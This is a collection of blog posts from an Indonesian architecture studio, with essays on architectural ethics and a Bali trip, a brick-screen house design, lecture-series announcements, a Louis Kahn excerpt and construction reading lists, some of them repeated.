Lalu bagaimana mengenai arsitektur Indonesia, apakah kita lebih maju ? Apakah kita kehilangan pondasi dalam berinovasi, sibuk melihat masa lalu, tanpa menatap masa depan. Lalu, pertanyaannya apakah kita sedang berarsitektur ke arah yang lebih baik ? lalu apakah nilai – nilai yang berpusat pada kebenaran itu semakin kuat mengakar dalam budaya berarsitektur kita, empati yang mendalam akan alam dan manusianya. Ataukah, kita terbutakan dalam keegoisan diri sendiri, dalam arsitektur itu tercerminkan jati diri satu karya, apakah ia pongah, apakah ia jujur, apakah ia sederhana, ataukah ia hanya bergelimang dalam kebombastisan materialistis. Arsitektur perlu untuk menjadi pencerahan, jawaban akan nilai – nilai kebaikan, kepuasan akan hidup yang lebih baik, mengajarkan menjadi manusia yang lebih baik, yang tadinya sombong menjadi lebih rendah hati, yang tadinya tidak menghargai alam, menjadi menghargai alam, itulah hakikat hidup kita yang sebentar ini, apalagi dengan profesi sebagai arsitek.
[1] Kutipan dari tulisan Pramodeya Ananta Toer dalam “Yang Harus Dibabat dan Harus Dibangun”, yang tulisannya ditampilkan dalam the wisdom of Pramodya Ananta Toer,disadur oleh Tofik Pram pp 45
I met Ferdi and Joice, our client a year ago. They were couple with full of optimism, having ideal that their house will be compact, small and comfortable for them, 3 bedrooms mixed with small office for their small graphic design home atelier in 150 square meter piece of land [10 x 15 m] . That moment was the process of long architectural sketches.
The design for the house consisted of several layer introducing series of weaving brick technique to provide sense of privacy in the facade which face east. I discovered that ready or customized roster would be solution for the wall. But the question was, could it be even more efficient, or could we make another solution, which was unique, which was also honest, showing masonry expression. The stacking or manipulation techniques or even I called it weaving technique was tricky because it did need to be efficient in material making and construction which means that the material need to be ready and that would not be special customized. I thought that the material would be light weight brick, the reason was simple, First, because the module was the biggest module 20 x 60 compared to red brick, and second, because it was easy to manipulate because the character was brittle. The brick was cut into 3 pieces, so we can have another module of 20 x 20, then by stacking the brick, leaving 5 cm gab we get sense of privacy leaving air circulation. The simple solution was better than using customized roster or even ready roster in term of efficiency.
Tropical house was defined by location of house which was in tropical monsoon climate. Tropical monsoon climate is a condition of area which has temperature 18 degree celcius in every month of the whole year [1]. In Indonesia, The tropical climate is classified in we tropical monsoon climate which means In some instances, up to (and sometimes in excess of) 1,000 mm of precipitation is observed per month for two or more consecutive months. By understanding the context of tropical monsoon climate, we could understand why and what good tropical house is needed, basically it’s for far more creating energy efficient, far more comfortable space for living, far more improving quality of architecture of house in tropical monsoon climate, far more improving understanding of people that by having good design, we are doing far more sustainable practice.
Then, The question is what is the intervention, or design technique which is needed for tropical house. The question brought forward the discussion of criteria, condition of what’s good and how to achieve those conditions.
[1] McKnight, Tom L; Hess, Darrel (2000). “Climate Zones and Types: The Köppen System”. Physical Geography: A Landscape Appreciation. Upper Saddle River, NJ: Prentice Hall. pg. 208.
My Friend, David Hutama shared his presentation about critics in architecture on 20th september in RAW studio. I’m very happy to have him to show the core of critics for evaluating architecture which will be a feedback process to create better solution, decision, especially for public building. The critics in architecture from his presentation divided by 4 general classification of way of criticizing by writing such as Critics by Historical approach, Formal approach, Ambiance[atmopherical] approach, Alignment[keberpihakan] approach [which he might not agree because in every approach there should be allignment which we should choose] the example : Jane Jacobs. here is the explanation which i wrote for his presentation in RAW summer pavilion : RAW collaborated with UPH School of Design to provide long life learning process between Architects, Lecturer, fresh graduates, or even people who has interest in Architecture by establishing lecture series. The first lecture is about Working Ideas by Critics in Architecture “He has a right to criticize, who has a heart to help.” ― Abraham Lincoln David Hutama will share lecture about working Ideas by critics in architecture. There were times when architecture changed because of paradigm breakdown just by nature of human, technology and civilisation. It established by success and failure. Critic which is a Greek derivation of the word κριτής (krités), meaning a person who offers reasoned judgment or analysis, value judgment, interpretation or observation. Critic has the position to move public opinion because of his or her credibility, reputation, depth of analysis. Critics become complex because there are various skill which is needed such as history, precedents, or understanding elements of architecture which then judge one work in process creating excellence in working architecture. We invited students and fresh graduates for our mini lecture series or brown bag. It’s all about sharing working ideas by critics in architecture. It’s all discussing the possible answer of : 1) What or How is the core of critics in architecture ? 2) What is needed for preparing good critics to evaluate architecture/ design performance ? 3) What or How is the to establish opinion in architecture given by the reality ? 4) Why the critic is important ? or what is the ethic to maintain critical opinion ? David Hutama is chair department of UPH School of Design. After receiving his bachelor degree from Parahyangan University in the year 2000, he went to Toyohashi University of Technology, Japan, to pursue his master degree in History and Theory of Architecture. In 2005 he join Department of Architecture in Universitas Pelita Harapan. David was part of the steering committee team for Jakarta Architecture Biennale 2009 and Art Director for Rubber Wood Architecture Exhibition in 2010. In 2012 he worked as the curator of Place.Making Exhibition, an exhibition of Department of Architecture UPH at Dia.Lo.Gue Exhibition, Kemang. Together with Avianti Armand and Robin Hartanto co-edited ‘Home: a Studio Talk’, published by UPH Press. He was curator of Indonesia Pavilion in Venice Biennale 2014 The discussion will be held at RAW Office at 9.30 am on 20th September 2014 . The introduction will be followed by open discussion among participants. Kindly make your reservation to tatyana@raw.co.id or ilham@raw.co.id as soon as possible (seats are limited for 30 people) Thanks and see you ! visit the link here
RAW collaborated with UPH School of Design to provide long life learning process between Architects, Lecturer, fresh graduates, or even people who has interest in Architecture by establishing lecture series.
The first lecture is about Working Ideas by Critics in Architecture
“He has a right to criticize, who has a heart to help.” ― Abraham Lincoln
David Hutama will share lecture about working Ideas by critics in architecture. There were times when architecture changed because of paradigmbreakdown just by nature of human, technology and civilisation. It established by success and failure. Critic which is a Greek derivation of the word κριτής (krités), meaning a person who offers reasoned judgment or analysis, value judgment, interpretation or observation. Critic has the position to move public opinion because of his or her credibility, reputation, depth of analysis.
Critics become complex because there are various skill which is needed such as history, precedents, or understanding elements of architecture which then judge one work in process creating excellence in working architecture.
We invited students and fresh graduates for our mini lecture series or brown bag.
It’s all about sharing working ideas by critics in architecture. It’s all discussing the possible answer of :
1) What or How is the core of critics in architecture ?
2) What is needed for preparing good critics to evaluate architecture/ design performance ?
3) What or How is the to establish opinion in architecture given by the reality ?
4) Why the critic is important ? or what is the ethic to maintain critical opinion ?
David Hutama is chair department of UPH School of Design. After receiving his bachelor degree from Parahyangan University in the year 2000, he went to Toyohashi University of Technology, Japan, to pursue his master degree in History and Theory of Architecture. In 2005 he join Department of Architecture in Universitas Pelita Harapan. David was part of the steering committee team for Jakarta Architecture Biennale 2009 and Art Director for Rubber Wood Architecture Exhibition in 2010. In 2012 he worked as the curator of Place.Making Exhibition, an exhibition of Department of Architecture UPH at Dia.Lo.Gue Exhibition, Kemang. Together with Avianti Armand and Robin Hartanto co-edited ‘Home: a Studio Talk’, published by UPH Press. He was curator of Indonesia Pavilion in Venice Biennale 2014
The discussion will be held at RAW Office at 9.30 am on 20th September 2014 . The introduction will be followed by open discussion among participants.
Kindly make your reservation to tatyana@raw.co.id or ilham@raw.co.id as soon as possible (seats are limited for 30 people) Thanks and see you !
The latest finding of the design is the movable skylight at the roof top of strange library. The material used is light plastic which can be reopened and cleaned for ease maintenance.
We are currently researching Landscape Urbanism Paradigm for Urban Design Development in Made in Jakarta.
W H Y L A N D S C A P E U R B A N I S M ?
Current urban developments in Indonesian cities construct its field with prioritizing the arrangement of grey infrastructures, such as road, building blocks and utility network; rather than the incorporation of open space and existing natural ecosystem. Eventually, cities become too dense and unhealthy for its inhabitants. The generic approach tend to create acontextual and unsustainable developments, where city lacks livable and enjoyable public spaces; as well as flooding, pollution, traffic jam becoming the cities’ major problems.
This come from inability of the present paradigm to balance the development of grey and green infrastructures. We need to seriously start to rethink the importance of infrastructural landscapes, instead only grey as the new possible framework for city-making. In order to achieve a sustainable future for Jakarta.
“We live in a wonderful world that is full of beauty, charm and adventure. There is no end to the adventures we can have if only we seek them with our eyes open.” — Jawaharal Nehru
300814 Ubud. Terkait dengan perjalanan di pertengahan tahun 2014 ini terkait dengan beberapa hal yang tidak terduga, antara realitas dan ilusi, masa depan dan masa lalu, kesedihan dan kegembiraan, masalah dan solusi. Usaha ini terkait dalam perjalanan untuk menyibak jawaban akan pertanyaan – pertanyaan untuk hidup lebih baik terkait dengan beberapa catatan terkait dengan fenomena yang ditemui untuk menyibak tirai ilusi dan menemukan realitas.
Pathway to Village – Ubud
Pentingnya keilmuan – untuk apa ?
Di dalam buku mengenai Roosseno, Roosseno Jembatan dan Menjembatani, dibahas mengenai bagaimana dunia timur berlomba – lomba dengan dunia barat adalah meningkatkan keilmuan kita bahwa harapan Roosseno supaya dunia timur bisa bertemu dengan dunia barat dari segi keilmuan. Pak Budi, satu orang kontraktor, menjelaskan bagaimana struktur pra tekan dari Roosseno telah dipatenkan di Perancis dan dipakai dalam desain beberapa jembatan di daerah. Dari sini Ada Hasrat untuk memulai hal yang baru yang dimulai dari keheranan dan kecintaan akan profesi. Hal yang mungkin saja ada dewasa ini namun belum membudaya. Sebagai mana begitulah contohnya isu mengenai isu rumah murah dan bagaimana diskusi kita mengenai kritisi desain rumah – rumah murah, pertanyaan – pertanyaan mengenai sistem apa yang digunakan, biaya yang digunakan, material yang digunakan, sehingga hal – hal ini bisa memperkaya keilmuan. Mungkin kritisi ini bersifat falsifikasi, dimana berusaha untuk mencari tahu dimana salahnya, untuk kemudian bisa menaikan tingkatan bidang keilmuan yang lebih tinggi. Bukan berarti harus mencari tahu dimana salahnya, namun memang cara – cara ini bisa digunakan untuk selalu mendobrak batas yang ada daripada cara – cara membenarkan diri sendiri atau yang lazim disebut dengan verifikasi, cara memuji diri sendiri, membenarkan satu hipotesis dan menyibakkan tirai ilusi. Misal rumah murah yang didesain dengan material – material murah, mungkin diskusi soal sistem konstruksi yang mengefisienkan harga bangunan akan lebih memperkaya keilmuan teknologi bangunan daripada fenomena rumah yang menggunakan material murah, tidak sesuai standar keamanan dan kenyamanan. Kita kemudian belajar setiap material dengan harganya, mahal dan murah pun memiliki batas dan ketepatan guna untuk bisa dipergunakan dalam desain.
Berbicara mengenai sistem konstruksi kita berbicara mengenai model, prototipe yang mungkin secara ideal bisa dipahami bagaimana sejauh mana ini bisa tepat guna dengan kerugian dan keuntungannya. Teks book building construction illustrated yang ditulis oleh Francis D.K. Ching pun mungkin bisa diperkaya dengan khazanah realitas yang baru dimulai dari bagaimana tiap tiap elemen berkerja sesuai dengan realitas yang ada misal konstruksi kayu, besi, beton, kelebihan dan kekurangannya terkait keterbatasan bahan, jenis desain yang dimunculkan, ekspresi arsitektural yang didapat, ataupun terobosan desain yang ada, dengan beberapa penemuan misalkan sambungan konstruksi bambu yang digagas oleh Andry widyajatmiko dalam bukunya, ataupun karya sambungan yang diulas dalam setiap edisi dari buku Detail terbitan Birkhauser, ada bermacam – macam jenis sambungan dari plastik sampai kayu. Cara yang cukup mudah mungkin bisa terlihat dalam struktur pesawat terbang yang efisien, ringan, dengan luas penampang sekecil mungkin, usaha untuk meminimalkan ini pun wajib adanya dalam penerapan pengembangan prototipe ini untuk menentukan ambang batas kritis tentunya dengan perencanaan yang matang dan sistematis [sinkronik] bukan hanya pendekatan desain yang pragmatis.
Maraknya budaya berkumpul, meminta perhatian – untuk apa ?
Arsitek Muda Indonesia sudah memulai pada tahun 1990 untuk mencoba meredefinisikan kembali arsitektur yang lebih baik pada jamannya dengan pendekatan yang rasionalis. Jong Arsitek sebagai wadah arsitek muda mencoba menyambung eksistensialnya dengan media digital, mencoba mewadahi jembatan arsitek generasi selanjutnya dari AMI. Kemudian munculnya beberapa komunitas sebelum dan sesudahnya seperti belajar desain, biang desain, Indonesia Berkebun , dan sebagainya. Pertanyaan lebih dalam kemudian apa yang kita dapat dari budaya berkumpul, dan menamakan satu kumpulan dengan satu buah label. Mungkin kita bisa melihat bagaimana orang – orang yahudi maju dalam keilmuan karena kebiasaan untuk berkumpul dan belajar bersama. Belajar bersama ini menjadi penting karena disinilah menjadi ajang untuk bertukar pendapat, menyamakan visi untuk kemudian meredefinisikan visinya kembali. Memang ada saja godaan untuk membuat eksistensial tiap – tiap kelompok menjadi lebih tinggi namun budaya untuk belajar ini yang baik untuk dipertahankan. Yang patut untuk selalu menjadi perenungan adalah, apa sumbangannya terhadap bidang keilmuan yang ada. Seperti satu bangunan tingkat tinggi yang memiliki core bangunannya, semakin tinggi bangunan itu, core bangunan pun dituntut untuk bisa mewadahi jalur sirkulasi vertikal dengan segala pengetahuan didalamnya mengenai keamanan, kenyamanan dan juga keindahannya dalam segala manfaatnya. Pada akhirnya pertanyaan mengenai apa yang dihasilkan dari setiap budaya berkumpul ini yang ditunggu – tunggu sebagai tanggung jawab dari eksistensi yang lebih tinggi setiap saatnya.
Pengertian pentingnya pemahaman
Menjadi paham berarti bisa mengerti bagaimana pemecahan masalah itu dilakukan dengan cara yang diakronik ataupun sinkronik. Pemecahan masalah diakronik adalah pendekatan dengan mengerti sejarah, apa yang bisa dipelajari dari sejarah, apa yang sudah ada. Khasanah mengenai contoh – contoh yang sudah baik sehingga bisa dibakukan menjadi satu prototipe, model yang bisa dipelajari untuk diperbaiki menjadi lebih baik menjadi satu catatan yang bisa memperkaya kualitas desain arsitektur Indonesia. Oleh karena itu, budaya membaca dan menulis menjadi penting, begitupun budaya menulis dalam arsitektur untuk meningkatkan pemahaman teori dan praktik yang memperkaya keragaman dalam realitas yang ada. Pemahaman ini kemudian terekam dalam tulisan – tulisan yang lebih baik daripada masa lalu.
Bisa juga pemecahan masalah dilakukan dengan pendekatan sinkronik yaitu memecahkan masalah yang ada didepan mata dengan segala keahlian yang kita punyai secara langsung dan bersifat sistemik seperti mendesain satu buah mixed used dengan grid 8,4 m kali 8,4 m ataupun 10,5 m karena pertimbangan floor to floor yang tinggi, dengan ruang mekanikal elektrikal di bawah ceiling dan fungsi parkir mobil di daerah titik terbawah bangunan. Hal ini bisa dipelajari dengan menambah jam terbang, dan memikirkan pemecahan masalah melalui desain ruang – ruang yang ada, ataupun sebagai contoh mendesain ruang kelas dengan sistem struktur bay structure dengan titik – titik kolom sebagai pendukung strukturalnya, sebuah solusi yang efisien terkait dengan modul ruang 84 m2 yang menyusun batang tubuh bangunan dengan tipe koridor tunggal [single loaded corridor], ataupun tipe koridor ganda [double loaded corridor]. Hal – hal yang bersifat teknis ini adalah usaha untuk membuat bangunan berjalan dengan baik diselaraskan dengan pengetahuan disiplin ilmu yang lain, fisika bangunan, teknologi bangunan, pemahaman struktur. Pada akhirnya memang arsitek akan berkerjasama dengan orang – orang yang memiliki pemahaman lebih di bidangnya.
Munculnya kedewasaan
Pada akhirnya titik untuk menjadi paham adalah menjadi manusia yang dewasa, dimana manusia dituntut untuk menyebarkan kebaikan dalam etikanya. Terlebih lagi arsitek dengan segala potensinya sebagai pembawa kebaikan peradaban untuk selalu memikirkan pola hidup manusia yang tinggal di dalam bangunan yang dirancangnya. Dalam contoh kedewasaan ini terlihat jelas dalam desain tata lansekap Bali yang menghadirkan tanaman kamboja dengan berbagai jenisnya. Bahwa pada hakikatnya perencanaan ini untuk menyediakan bunga kamboja sehari – harinya yang dibutuhkan untuk berdoa den meminta rejeki ataupun untuk bersyukur akan rahmat yang diberikan. Bunga ini kemudian semerbak dengan wanginya yang harum. Dari sinilah kita mengetahui kegunaan kamboja di lain sifatnya yang mudah untuk dibiakan, dipotong pada pangkalnya ditanam di media tanah, ia pun akan hidup tanpa perlu air yang banyak.
Sistem ngaben yang ada di Bali dengan pembakaran mayat untuk ditebar ke laut menunjukkan gaya hidup yang berkelanjutan jauh sebelum brundtland commision menerapkan pentingnya isu ekologis dalam dunia di tahun 1987 ataupun buku Silent Spring yang ditulis Rachel Carson mengenai turunnya kualitas lingkungan. Di Bali orang – orang yang mampu secara finansial membiayai sendiri ngaben mereka, namun ada juga ngaben massal, bergotong royong membiayai ngaben mereka sendiri ataupun ketika biaya masih belum cukup mayat dikubur dahulu untuk kemudian ketika secara finansial cukup, peristiwa ngaben dilakukan. Hal ini didasarkan pada prinsip – prinsip untuk menghargai kehidupan, dari debu menjadi debu juga dan memberikan dirinya ke alam.
lukisan karya Antonio Blanco
Lukisan karya Mario Blanco, anak dari pelukis Antonio Blanco yang menyiratkan arti kehidupan dengan pralambang teko, kelapa, gamelan. Teko adalah pralambang kehidupan, dengan air sebagai pusat utamanya dimana masyarakat Bali tidak mengenal cangkir pada awalnya, mereka minum dari teko. Air penting di dalam tatanan kehidupan sehingga setiap daerahnya memiliki penjaga air untuk bisa didistribusikan merata, dan sumber mata air disucikan seperti Tirta Emphul, sebagai titipan yang maha kuasa. Kelapa melambangkan setiap bagiannya dari akar buah sampai daunnya yang bisa digunakan. Gamelan melambangkan bahwa untuk bisa bernyanyi, dan menghibur orang ia perlu bersusah – susah dipukul – pukul oleh orang yang memainkannya.
Melihat kota Jakarta dengan sungainya, penjagaan airnya, apalagi kegunaan manusianya, ataupun caranya bersenang – senang, mungkin ada baiknya kita melihat lagi kebijaksanaan leluhur kita, setidaknya dari pulau Bali, untuk melihat masa lalu saja kita masih enggan bagaimana membuat sesuatu yang lebih baik. Ketiga pralambang dari lukisan Mario Blanco itu melambangkan kehidupan,untuk menjaga arti kehidupan, guna kehidupan, dan tidak lupa untuk bersenang – senang dan menghibur orang lain. Dari hal yang sederhana kita bisa menggali kebaikan dalam manusia. Begitupun juga keilmuan yang ada dalam berarsitektur untuk membuat kehidupan manusia yang lebih baik dan menebarkan kebaikan.
Mungkin memang karena hal – hal yang baik itu Bali disebut pulau para dewa.
Catatan :
Dalam perjalanan ke Bali kali ini saya membawa dua buah buku, yang pertama buku mengenai Roosseno Jembatan, menjembatani, didalamnya terdapat pidato roosseno dalam pengukuhannya sebagai guru besar ITB, mengenai bagaimana kita harus bersikap dalam mengejar ketertinggalan kita dengan dasar yang sederhana. Yang kedua adalah buku wewancara dengan louis Kahn, conversation with students dimana didalamnya terdapat kuliah singkatnya Architecture White light black shadow.
Informasi mengenai tradisi Ngaben dan Perletakkan Kamboja saya dapatkan dari bincang – bincang dengan Pak Made, sahabat yang menemani dalam perjalanan ke Denpasar dan Ubud.
Antonio Blanco adalah pelukis ekspresionis yang menikah dengan Nyi Rondji, seorang penari Bali. Lukisan – lukisannya banyak yang memuja kehidupan, dan wanita sebagai pusat karyanya. Mario Blanco adalah anak dari Antonio, ia terkenal dengan lukisannya yang memiliki falsafah kehidupan, lukisan yang saya temui di bali adalah satu karyanya yang dipigurai berbentuk teko menjelaskan tentang arti kehidupan.
There were reasons to share Louis Kahn lecture for all of us. First, it showed the fundamental of the responsibility that architect should do, the ethic that we must always improve, and the passion for excellence which people should seize from the Architect. I discovered that the fundamentals taught Louis Kahn is the starter to be more beautiful than it was or at least that’s our duty to create the best institution of man we could offer.
White Light Black Shadow
…We were talking this afternoon
of the three aspects of teaching architecture.
Actually, I believe that I do not really teach architecture
but that i teach myself.
These, however, are the three aspects:
The first aspect is professional.
As a professional you have the obligation of
learning your conduct in all relationships…
in institutional relationships,
and in your relationship with men who
entrust you with work.
In this regard, you must know the distinction
between science and technology.
The rules of aesthetics also constitute professional knowledge.
As a professional, you are obliged to translate
the program of a client into that of the spaces of
the institution this building is to serve.
You might say it is a space order,
or a space-realm of this activity of man
which is your professional responsibility.
A man should not take the program
and simply give it to the client
as though he were filling a doctor prescription.
Another aspect is training a man to express himself.
This is his own prerogative.
He must be given the meaning of philosophy,
the meaning of belief, the meaning of faith.
He must know the other arts…
architect must learn that they have other rights…
their own rights.
To learn this, to understand this,
is giving the man the tools for making the incredible
that which nature cannot make.
The tools make a psychological validity,
not just a physical validity,
because man, unlike nature, has choice.
Louis I Kahn Conversations with Students, Architecture at Rice 26, Princeton Architectural Press. pp31-32
We have a venue – mini brown bag in office, please do come if you wanna come. It’s free :)
“Being good in business is the most fascinating kind of art. Making money is art and working is art and good business is the best art.”
Andy Warhol
4th Lecture : Working Ideas in Business. There were times when people started defining business by simply delivering goodproduct to the customer or client. It started by establishing one relationship to another relationship between architect and clients. In this lecture we will discuss about the experience bringing business into worth living relationship between clients, architects, and between people inside the firm. We invited students and fresh graduates for our mini brown bag. It’s about sharing entrepreneurship in architecture. It’s all discussing the answer of :
1) What or How is the core of relationship between clients and architect ?
2) What is needed for establishing architecture studio ?
3) What or How is the challenge given by the reality ?
4) Why the ethic is important ? or what is the ethic to maintain relationship ?
The discussion will be held at RAW Office at 6.30 pm [16.30] on 28th August 2014 . The material will be explained briefly by Realrich followed by open discussion among participants.
Kindly make your reservation to tatyana@raw.co.id or ilham@raw.co.id as soon as possible (seats are limited) Thanks and see you !
Among recent college grads, architecture majors by far have the highest unemployment rate at 13.9%. That’s according to a new report from the Georgetown Center on Education and the Workforce. The collapse of the construction and home-building industries in the recession is to blame. Even after gaining years of experience, architecture grads ages 30 and up, have a high unemployment rate at 9.2%. [CNN@2012]
4th Lecture : Working Ideas in Business.
“Being good in business is the most fascinating kind of art. Making money is art and working is art and good business is the best art.”
Andy Warhol
There were times when people started defining business by simply delivering good product to the customer or client. It started by establishing one relationship to another relationship between architect and clients. In this lecture we will discuss about the experience bringing business into worth living relationship between clients, architects, and between people inside the firm. We invited students and fresh graduates for our mini brown bag. It’s about sharing entrepreneurship in architecture. It’s all discussing the answer of :
1) What or How is the core of relationship between clients and architect ?
2) What is needed for establishing architecture studio ?
3) What or How is the challenge given by the reality ?
4) Why the ethic is important ? or what is the ethic to maintain relationship ?
The discussion will be held at RAW Office at 6.30 pm [16.30] on 28th August 2014 . The material will be explained briefly by Realrich followed by open discussion among participants.
Kindly make your reservation to tatyana@raw.co.id or ilham@raw.co.id as soon as possible (seats are limited) Thanks and see you !
3rd Lecture. Topic “Experimentation by Digital Computation and Analog Process in Architecture”
Please Join Our Venue for This Friday 22nd August 2014 at 18.30 in Summer Pavilion. The third lecture for Architecture Summer Workshop. Dani Hermawan who is an architect and researcher in Formologix based in Jakarta will introduce topic Experimentation in Architecture in the focus of Digital Computation in Innovation process in Architecture. As a Co-Director of Formologix Lab, He interested and explores the collaborative potential of digital design and fabrication techniques related to architecture and product design -through various modes: parametric design, scripting, and fabrication. Dani pursued his Master of Architecture in digital architecture from Dessau Institute of Architecture, Bauhaus-Dessau, Germany (2008) under supervision of Mathias Del Campo (SPAN/Austria) and Daniel Dendra (anotherArchitect-Berlin). For his Bachelor of Architecture, he was graduated from Parahyangan University, Indonesia (2004). As practitioner, he credits his early architectural experience with the practices at Larascipta Architects, collaborative experience with Daniel Dendra at anotherArchitect, Berlin, and currently worked as a digital design, modeling and fabrication consultant for several architecture offices. As academia, he taught design studios at Parahyangan Catholic University and currently, he actively teaches design studio, workshop and seminar at Pelita Harapan University. The Analog process will be introduced briefly by Realrich Sjarief. Kindly make your reservation to tatyana@raw.co.id or ilham@raw.co.id as soon as possible (seats are limited) Thanks and see you!
2nd Lecture Series :
Almost always the men who achieve these fundamental inventions of a new paradigm have been either very young or very new to the field whose paradigm they change. — Thomas S. Kuhn
Dalam sejarah arsitektur, keragaman paradigma dalam desain adalah salah satu cara untuk melihat keragaman dalam berarsitektur. Dimana kita menjadi manusia yang lekat dengan tradisi berpikir, berargumentasi, pemilihan keputusan desain berdasarkan pertimbangan – pertimbangan empiris dan rasional yang matang. Proses untuk mencipta ini yang kemudian menjadi penting, karena adanya kekreatifan dalam proses mendesain. Proses dimana kita bisa mendapatkan pelajaran yang lebih baik, sehingga untuk pada saatnya mendesain nanti bisa memberikan desain yang lebih baik dibandingkan sebelumnya. Proses berpikir ini yang kita coba gali dari dua orang dari generasi muda, Ivan Nasution dan Rizki Supratman. Ivan yang berkerja di NUS [National University of Singapore] dan Rizki yang berkerja sebagai di OMA [Office for Metropolitan Architecture] satu biro yang didirikan oleh Rem Koolhas. Sharing pengalaman dari kedua orang ini diharapkan bisa membawa dialog yang akan membawa peserta untuk memahami dunia arsitektur lebih dalam dalam lingkup teori dan praktik.
The first lecture is intended to explain briefly about the logic between designing by handrawing and understanding the fingerprint of materials which build framework in participant’s understanding. The lecture materials is explained below :
+ Elektrik : Ching, Francis D.K. (1996). Ilustrasi Desain Interior. Indonesia: Erlangga. p284-307, Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P11.28 – 11.31
+ Akustik : Ching, Francis D.K. (1996).Ilustrasi Desain Interior. Indonesia: Erlangga. P308-309, Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. PA.14-17,
+ Teknologi dan sambungan kayu keras : Daryanto (2010). Keterampilan Kejuruan. Bandung: PT. Sarana Tutorial Nurani Sejahtera. P19-41.
ä Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P4.26-4.32
ä Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P5.43-5.50
+ Sistem Pondasi dangkal dan dinding pondasi : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P3.08-3.21
+ Pondasi Tiang : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P3.22-3.23
+ Sistem Lantai terkait dengan balok dan pelat beton: Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P4.02-4.07
+ Rangka Baja Struktural : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P4.14-4.18
+ Dek Logam /plat Bondek : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P4.22
+ Kolom Beton : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P5.04-5.08
+ Struktur Rangka Baja : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P5.35-5.38
+ Atap Logam Bergelombang : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P7.9-7.10
+ Atap Genteng Keramik dan sirap : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P7.02-7.08
+ Atap Datar : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P7.11 – 7.12
+ Flashing : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P7.17-7.21
+ Skylight
+ Sistem Mekanikal dan Elektrikal :
Sub Pembahasan :
ä Sistem HVAC [Heating Ventilation Air Conditioning] : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P11.14-8.19
ä Pengadaan Air Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P11.20-11.22
ä Drainase dan pembuangan limbah : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P11.25-11.27
ä Fixtur pemipaan : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P11.24
ä Pembuangan Limbah : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P11.27
+ Pintu dan Jendela Kayu : Ching, Francis D.K., Adams, C. (2001).Ilustrasi Konstruksi Bangunan. Indonesia: Erlangga. P8.02-8.33
You are invited to join “Summer mini brown bag” on Saturday June 28th 2014 at 10.00 am, RAW office Berikut adalah rangkaian acara course utama dan daftar peserta dimulai jam 10 pagi sampai jam 12 sing [penyesuaian tanggal akan dilakukan lebih lanjut] :
My friend Dani Hermawan will share his experience on digital computation in Architecture. It’s all about creating innovation in architecture. This is the 3rd lecture for Architecture Summer Workshop that we conduct in office.
Here is the publication :
Please Join Our Venue for This Friday 22nd August 2014 at 18.30 in Summer Pavilion. The third lecture for Architecture Summer Workshop.
Topic “Experimentation by Digital Computation and Analog Process in Architecture”
Dani Hermawan who is an architect and researcher based in Jakarta will introduce topic Experimentation in Architecture in the focus of Digital Computation in Innovation process in Architecture.
As a Co-Director of Formologix Lab, He interested and explores the collaborative potential of digital design and fabrication techniques related to architecture and product design -through various modes: parametric design, scripting, and fabrication.
Dani pursued his Master of Architecture in digital architecture from Dessau Institute of Architecture, Bauhaus-Dessau, Germany (2008) under supervision of Mathias Del Campo (SPAN/Austria) and Daniel Dendra (anotherArchitect-Berlin). For his Bachelor of Architecture, he was graduated from Parahyangan University, Indonesia (2004).
As practitioner, he credits his early architectural experience with the practices at Larascipta Architects, collaborative experience with Daniel Dendra at anotherArchitect, Berlin, and currently worked as a digital design, modeling and fabrication consultant for several architecture offices.
As academia, he taught design studios at Parahyangan Catholic University and currently, he actively teaches design studio, workshop and seminar at Pelita Harapan University.
The Analog process will be introduced briefly by Realrich Sjarief
Kindly make your reservation to tatyana@raw.co.id or ilham@raw.co.id as soon as possible (seats are limited)
“Learn from me, for as I teach, I learn from you as well! Always be accountable to yourself and take complete responsibility for your own life. No one can do as much for you, as you can do for yourself…” ― James A. Murphy
Beliau datang di sidang ke 3 di masa – masa tugas akhir hampir 10 tahun yang lalu , di pertengahan jalan proses di tugas akhir, di tengah perjalanannya untuk menempuh PHD di Australia, ia pulang. Kita sendiri ada ber 4 dengan teman – teman satu kelompok yang lain, ada Nisa, Gamma, dan Herman dengan Pembimbing pribadi diri ini adalah pak Baskoro Tedjo. Pada waktu itu hari – hari asistensi dengan beliau diisi dengan mencoba memecahkan kesulitan yang ada di bangunan lengkung yang bertabrakan dengan axis yang tegas. Kemudian beliau berkata, “saya tahu kamu pasti bisa, coba kamu lihat Christian De Pontzamparc.” Baru juga tahu ada arsitek yang bernama demikian, dan lebih merasa bersemangat karena beliau antusias dan yakin akan apa yang sedang dcari. Inilah satu titik awal, dimana kepercayaan diri itu mulai ada dalam perancangan tugas akhir.
